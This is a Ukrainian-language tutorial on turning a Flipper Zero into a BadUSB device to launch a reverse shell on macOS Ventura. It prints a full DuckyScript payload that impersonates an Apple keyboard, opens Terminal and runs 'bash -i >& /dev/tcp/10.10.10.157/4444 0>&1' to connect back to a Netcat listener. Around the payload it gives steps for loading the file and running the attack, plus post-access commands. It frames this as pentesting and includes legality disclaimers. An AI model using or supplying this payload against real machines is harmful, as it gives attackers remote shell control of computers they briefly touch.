Дізнайтеся, як використовувати Flipper Zero для запуску Reverse Shell на macOS. Покрокова інструкція створення DuckyScript, налаштування Netcat та запуску BadUSB для перевірки системи на вразливості.
За допомогою Flipper Zero, компактного 12-рядкового текстового файлу на DuckyScript та віддаленого прослуховувача (Listener) на сервері Ubuntu, можна виконати запуск Reverse Shell на комп’ютері з macOS Ventura.
Зворотна оболонка на macOS використовується для різноманітних завдань, включаючи тестування кібербезпеки, дистанційне адміністрування систем та навчання захисту інформації. У сфері пентесту Reverse Shell допомагає виявляти слабкі місця в системах захисту та оцінювати їхню надійність. Однак варто пам’ятати, що застосування таких технологій на чужих або корпоративних пристроях без дозволу є порушенням законодавства та етичних норм. Усі дії мають виконуватися виключно в межах правового поля.
Flipper Zero являє собою універсальний портативний пристрій, призначений для взаємодії з цифровими системами. Він має широкий набір функцій для аналізу та модифікації різних видів бездротових сигналів і протоколів.
Основні можливості Flipper Zero охоплюють роботу з RFID, радіочастотними сигналами, інфрачервоним зв’язком та іншими типами бездротової комунікації. Гнучкий програмний код дозволяє адаптувати пристрій до потреб користувача та розширювати його функціонал для конкретних завдань.
Пристрої типу Flipper Zero BadUSB працюють із використанням корисних навантажень, створених на основі DuckyScript — простого сценарного мови, що дозволяє автоматизувати натискання клавіш на цільовому комп’ютері.
Основним ресурсом для розробки та пошуку прикладів сценаріїв DuckyScript є офіційний сайт Hak5, де представлена документація та приклади для реалізації різноманітних функцій.
ID 05ac:021e Apple:Keyboard DELAY 1000 GUI SPACE DELAY 200 STRING terminal DELAY 200 ENTER DELAY 1000 STRING bash -i >& /dev/tcp/10.10.10.157/4444 0>&1 DELAY 1000 ENTER DELAY 1000
IP-адресу 10.10.10.157 та порт 4444 необхідно змінити на відповідні IP-адресу та порт вашого сервера. Після цього файл слід зберегти під назвою rev_shell_macos.txt.
Варто зазначити, що в каталозі badusb пристрою Flipper Zero відсутня підтримка організації підкаталогів. Тому, якщо планується використання кількох корисних навантажень для різних операційних систем, варто дотримуватися чіткої угоди про найменування файлів для зручності.
Якщо програма qflipper ще не встановлена, необхідно перейти на офіційну сторінку оновлення Flipper Zero і завантажити інсталятор, який відповідає вашій операційній системі. Після завантаження виконайте встановлення згідно з інструкціями на сайті.
Відкрийте програму qflipper та виберіть піктограму папки, виділену червоним на скріншоті.
Виберіть і двічі клацніть SD-картку , щоб переглянути вміст.
Вимкніть Flipper Zero від комп’ютера після копіювання файлу.
Тепер, коли Netcat listener готовий і чекає на вхідне з’єднання, можемо приступити до атаки BadUSB.
Найскладніше вже зроблено. Файл BadUSB reverse_shell_macos.txt записується, переміщається до Flipper Zero, і слухач Netcat очікує з’єднання.
Переходимо до меню «Bad USB».

Процес виконання сценарію BadUSB можна відстежувати у головному вікні пристрою Flipper Zero. Після того як статус виконання досягне 100%, це означає, що корисне навантаження завершено. На цьому етапі Flipper Zero можна безпечно відключити від USB-порту.
Під час виконання сценарію DuckyScript на екрані комп’ютера iMac можна спостерігати, як відбувається запуск експлойту. Водночас прослуховувач Netcat на сервері Ubuntu показує результати успішного з’єднання.
Після успішного запуску зворотної оболонки (Reverse Shell) ви отримуєте доступ до системи macOS. Тепер можна керувати комп’ютером так, ніби використовуєте фізичну клавіатуру, працюючи через оболонку BASH у Linux.
Через зворотну оболонку (Reverse Shell) доступно використання базових команд Linux для управління системою macOS. Нижче наведені приклади таких команд:
whoami — визначає ім’я користувача, під яким виконується з’єднання.
pwd — показує поточний робочий каталог.
ls — виводить список файлів і папок у поточному каталозі.
cd — використовується для переміщення між каталогами.
Ці команди дозволяють навігувати по файловій системі та взаємодіяти з операційною системою, як із локальним терміналом.
Розуміння принципів роботи Flipper Zero як пристрою BadUSB дозволяє створювати власні сценарії для автоматизації завдань або тестування безпеки. У якості основи можна використовувати:
Офіційний сайт Hak5, де представлено документацію та приклади сценаріїв DuckyScript.
Репозиторії на GitHub, які містять готові сценарії та корисні напрацювання для подальшого їхнього адаптування.
Важливо пам’ятати про дотримання етичних норм та законодавства: застосовувати BadUSB слід лише на власних пристроях або за наявності чітко отриманого дозволу. Будь-які інші дії можуть мати юридичні та моральні наслідки.